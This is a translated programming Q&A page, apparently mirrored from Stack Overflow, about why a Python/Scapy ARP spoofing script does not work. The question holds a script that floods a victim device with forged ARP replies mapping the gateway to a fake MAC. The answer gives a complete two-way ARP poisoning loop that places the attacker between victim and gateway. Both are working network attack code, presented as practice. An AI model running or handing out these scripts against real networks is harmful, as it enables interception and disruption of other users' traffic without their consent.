簡體   English   中英

Arp 欺騙/中毒不工作/停止工作

[英]Arp Spoofing/Poisoning not working/stopped working

我最近一直在嘗試使用 Python 和 Scapy 構建一個“中間人”(出於我自己的實踐,沒有惡意目的)。 我開始編寫代碼來創建一個dos,但是由於某種原因它的行為很奇怪。 首先,由於某種原因,當我在我的 Windows PC 上運行它時,arp 條目永遠不會改變。 我什至已經清除了 arp 表(arp -d *),但網關的真實 MAC 地址仍然返回。 其次,代碼似乎只在我的手機上部分工作——打開網站時,只需要很長時間。 還有一些網站似乎沒有受到影響(Instagram 工作......)。 此外,針對不同品牌的手機運行代碼會產生不同的結果。

會不會是在不同的設備上有安全措施? 我做錯什么了嗎? 這是代碼,感謝您的幫助!

from enum import Enum

import getmac
import netifaces
from scapy.all import ARP, Ether, sendp


class DeviceIps(Enum):
    MyPhone = '192.168.1.27'
    MyPc = '192.168.1.70'


class Device(object):
    def __init__(self, ip: str):
        self.ip = ip


def get_mac_from_ip(ip=None):
    return getmac.get_mac_address(ip=ip)


def build_poison_packet(victim_ip):
    ARP_RESPONSE_CODE = 0x2
    FAKE_MAC_ADDRESS = 'aa:bb:cc:dd:ee:ff'

    gateway_ip_address = netifaces.gateways()['default'][netifaces.AF_INET][0]
    victim_mac_address = get_mac_from_ip(victim_ip)
    poison_packet = Ether(src=FAKE_MAC_ADDRESS, dst=victim_mac_address) \
                    / ARP(psrc=gateway_ip_address,  # -> Address to lie about
                          hwsrc=FAKE_MAC_ADDRESS,  # -> Mac address to direct to
                          hwdst=victim_mac_address, pdst=victim_ip, op=ARP_RESPONSE_CODE)
    return poison_packet


def poison(target: Device):
    poison_packet = build_poison_packet(target.ip)
    print(poison_packet.show())
    while True:
        sendp(poison_packet)


def main():
    poison(Device(DeviceIps.MyPc.value))

main()

這是向受害者和主機(網關)地址發送 arp 回復的簡單 scapy 代碼。 您可以在腳本終止之前清理受害者和主機 arp 表。

#!/bin/env python

from scapy.all import Ether, ARP, sendp
import time

victim_hw_addr = "34:e1:2d:83:20:aa"
victim_ip_addr = "192.168.43.152"
gw_hw_addr = "ce:9f:7a:7b:d7:aa"
gw_ip_addr = "192.168.43.1"
my_hw_addr = "8c:85:90:c3:0b:aa"
tmout = 100

arp4victim = Ether(dst=victim_hw_addr, src=my_hw_addr) / ARP(pdst=victim_ip_addr, hwdst=victim_hw_addr, psrc=gw_ip_addr, hwsrc=my_hw_addr, op=2)
arp4gw = Ether(dst=gw_hw_addr, src=my_hw_addr) / ARP(pdst=gw_ip_addr, hwdst=gw_hw_addr, psrc=victim_ip_addr, hwsrc=my_hw_addr, op=2)

while True:
    sendp(arp4victim)
    sendp(arp4gw)
    time.sleep(3)
    print "*"

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM